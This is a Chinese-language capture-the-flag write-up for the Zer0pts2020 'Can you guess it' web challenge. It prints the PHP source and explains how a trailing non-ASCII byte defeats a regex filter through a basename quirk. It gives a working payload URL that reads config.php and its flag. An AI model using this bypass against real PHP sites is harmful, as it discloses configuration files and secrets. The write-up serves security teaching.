BUUCTF-WEB 【Zer0pts2020】Can you guess it 1

考点:代码审计、正则绕过、basename缺陷

打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

分析

题目直接给出了源代码,通过分析,可以得到两段代码。先看看下半段。

1
2
3
4
5
6
7
8
9
10
11
12
# 随机生成64位二进制字节,再转换位十六进制 赋值给$secret
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
# hash_equals 可防止时序攻击的字符串比较
# 如果传入字符串长度和随机生成的字符串长度不一样 直接 false
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}

这段代码,是想让我们传入字符串,要求字符串与随机生成的字符串一样,那么才会输出flag。几乎不太可能。

分析上半段代码。

1
2
3
4
5
6
7
8
9
10
11
# $_SERVER['PHP_SELF'] 是获取url中域名后边的部分 www.xxx.com/index.php/config.php 就是获取 index.php/config.php
# 这里的正则直接就是匹配 config.php/ 不允许这样的结尾
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

# 如果传入的是 /index.php/config.php 那么 basename 取到的就是config.php
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

如果通过highlight_file去读取config.php 文件,这段代码看起来好像是不太行,通过传入 /index.php/config.php 会被正则直接拦下来。但是basename 这个函数有个小小的问题,就是文件名首尾任何非ASCII码的字符都会被rename函数删除掉。官网https://bugs.php.net/bug.php?id=62119。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$path='/test/äaä.txt';
echo $path."\n";
setlocale(LC_ALL,'C');
echo dirname($path).'/'.basename($path)."\n";
setlocale(LC_ALL,'en_US.iso885915'); // bash: locale -a
echo dirname($path).'/'.basename($path)."\n";


Expected result:
----------------
/test/äaä.txt
/test/äaä.txt
/test/äaä.txt

Actual result:
--------------
/test/äaä.txt
/test/aä.txt
/test/äaä.txt

构造payload

1
/index.php/config.php/%e4/?source

首先浏览器会去请求index.php这个文件,正则会匹配/index.php/config.php/%e4/ ,末尾不满足正则表达式的规则,不会被拦截,到rename这,会把%e4,也就是 ä,这个非ASCII码字符丢弃掉,只会拿到config.php,所以highlight_file就成功读取到了config.php文件

得到

image-20210506112724762